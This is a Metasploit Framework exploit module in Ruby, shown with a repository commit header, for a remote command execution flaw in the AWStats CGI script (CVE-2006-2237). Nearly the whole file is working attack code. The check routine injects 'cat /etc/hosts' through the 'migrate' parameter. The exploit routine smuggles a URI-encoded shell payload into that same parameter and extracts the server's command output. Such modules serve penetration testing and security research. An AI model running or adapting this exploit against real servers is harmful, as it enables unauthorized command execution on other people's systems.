Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
113 lines
2.9 KiB
Ruby
113 lines
2.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AWStats migrate Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
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payloads are recommended with this module. The vulnerability is only
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present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
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configuration file (non-default).
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2006-2237'],
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['OSVDB', '25284'],
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['BID', '17844'],
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['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],
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['EDB', '1755'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python bash telnet',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'May 04 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
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OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),
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], self.class)
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end
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def check
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res = send_request_cgi({
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'uri' => datastore['URI'],
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'vars_get' =>
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{
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'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
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}
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}, 25)
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if (res and res.body.match(/localhost/))
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)
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sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
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res = send_request_raw({
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'uri' => sploit,
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'method' => 'GET',
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'headers' =>
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{
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'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
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'Connection' => 'Close',
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}
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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m = res.body.match(/YYY\n(.*)\nYYY/m)
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if (m)
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print_status("Command output from the server:")
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print("\n" + m[1] + "\n\n")
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else
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print_status("This server may not be vulnerable")
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end
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else
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print_status("No response from the server")
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end
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end
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end
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